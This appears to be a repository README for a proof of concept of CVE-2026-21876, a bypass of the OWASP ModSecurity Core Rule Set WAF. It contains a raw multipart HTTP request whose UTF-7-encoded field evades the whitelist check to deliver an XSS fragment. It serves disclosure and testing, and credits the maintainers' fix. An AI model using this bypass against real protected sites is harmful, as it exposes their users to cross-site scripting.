mefhika120/cve-2026-21876Minimal PoC and Docker container demonstrating a WAF bypass in OWASP ModSecurity CRS via multipart charset handling, leading to XSS payload delivery.
CVE-2026-21876 docker container + minimal PoC.
I would like to thank @airween and @fzipi separately for their quick response! The vulnerability fix was ready in a very short time.
POST /submit HTTP/1.1
Host: localhost
User-Agent: curl/8.17.0
Accept: */*
Origin: https://example.com
Content-Length: 367
Content-Type: multipart/form-data; boundary=------------------------cmOi6twNhVJDu76bOwDTVz
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="username"
Content-Type: text/plain; charset=utf-7
+ADw-img+ACA-src+AD0-x+AD4-
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="dummy"
Content-Type: text/plain; charset=utf-8
dummy
--------------------------cmOi6twNhVJDu76bOwDTVz--
The username value is not checked for characters that are not included in the whitelist, which leads to WAF bypass.
